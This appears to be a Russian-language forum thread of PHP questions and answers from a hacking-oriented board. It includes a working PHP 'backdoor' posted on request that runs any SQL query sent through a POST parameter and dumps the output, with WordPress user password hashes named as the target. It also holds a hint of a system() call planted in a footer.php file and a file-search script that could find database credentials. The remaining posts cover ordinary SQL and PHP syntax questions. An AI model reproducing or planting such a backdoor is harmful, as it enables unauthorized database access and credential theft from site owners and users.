Всё ок разобрался. Как только избавиться от ворнингов? Warning: system() [function.system]: Cannot execute a blank command in /путькскрипту/footer.php on line 16
h00lyshit!, спасибо!) Реально ли в несколько строк набросать бекдор для работы с mysql через post запросы? Я не могу додуматься как через фукнцию mysql_result можно вывести результат любого запроса. Т.е. к примеру чтобы он мог выполнять запросы вида select id,username,password from wp.users limit 0,5. Там где будет много данных на выходе. У меня получилась такая каша: PHP: $host='localhost'; $database='db'; $user='user'; $pswd='pass'; $dbh = mysql_connect($host, $user, $pswd) or die("Не могу соединиться с MySQL."); mysql_select_db($database) or die("Не могу подключиться к базе."); $query = $_POST['haxorquery']; $res = mysql_query($query); while(mysql_fetch_array($res)){ echo mysql_result($res,wp_users); Но он выводит только по одному полю + я не до конца понимаю зачем указывать имя таблицы в аргументе mysql_result Буду благодарен если разъясните)
PHP: <?php $host='localhost'; $database='db'; $user='user'; $pswd='pass'; $dbh = mysql_connect($host, $user, $pswd) or die("Не могу соединиться с MySQL."); mysql_select_db($database) or die("Не могу подключиться к базе."); $query = $_POST['haxorquery']; $res = mysql_query($query); echo '<PRE>'; while($result = mysql_fetch_assoc($res)) { print_r($result); } ?>
Парни, подскажите пож уже готовый скрипт или где мне инфу поискать. Нужен скрипт который мог бы искать в .php .txt файлах искать текст. к примеру мне нужно найти файлы с записями "localhost". в той папке где лежит скрипт и в подпапках. Если кто поможет готов вознагродить $.
Пишется за пару минут. PHP: <?php /** * @author Boolean * @copyright 2011 */ /** * Директория с файлами для поиска. */ $directory = './mg1.4/'; /** * Искомый запрос. */ $query = 'localhost'; /** * Расширения файлов для поиска. */ $fpattern = array('php', 'txt'); /** ******************************************************************** **/ /** ******************************************************************** **/ header('Content-Type: text/plain; charset=windows-1251'); ob_implicit_flush(); set_time_limit(0); start($directory); function start($folder){ global $query, $fpattern; $dir = opendir($folder); while($file = readdir($dir)){ if($file != '.' && $file != '..'){ if(is_dir($folder . $file)) start($folder . $file . '/'); elseif(is_readable($folder . $file)){ $f = explode('.', $folder . $file); if(in_array($f[count($f) - 1], $fpattern)) if(preg_match('/' . preg_quote($query) . '/is', file_get_contents($folder . $file))) print "{$folder}{$file}\n"; } } } } ?> Результат: Code: ./mg1.4/settings/conf.php ./mg1.4/settings/database.php ./mg1.4/dumper.php ./mg1.4/install.php
Только разбираюсь с запросами MySQL через PHP, что тут не так? PHP: mysql_query(" CREATE TABLE reg (name TYNYTEXT NOT NULL UNIQUE) "); Выдаёт:
А теперь? PHP: mysql_query(" CREATE TABLE reg (name TINYTEXT(16) NOT NULL UNIQUE) "); Напишите пожалуйста как правильно создать поле name в котором могут быть только уникальные значения.
Gvidion для tinytext жестко задана длина поля - 255 символов. Для текстовых полей при создании индекса нужно задавать длину префикса, по которому будет построен индекс. Вопросы по БД прошу задавать в соответствующем разделе
Покажите пожалуйста правильный пример задания уникального тинитекст, ок извиняюсь, не буду впредь в этой теме по БД спрашивать.
1) Прочитал мануал по вводу строк методом Heredoc/Nowdoc, при описании строк этими методами используются метки (EOD, EOT, LABEL), как оказалось, произвольные. Для чего нужны эти метки, какую роль играет ихнее название? 2) Как запустить php скрипт из командной строки (unix) в режиме выполнения и вывода (E_ALL), например, в файл, не меняя сам скрипт (даже если там вывод ошибок отключен)?
AnGeI 1) Ну должен же интерпретатор понять откуда начать вывод текста и где закончить?! 2) php script.php > /etc/home/angei/log.txt На счёт второго не совсем уверен, могу и ошибаться.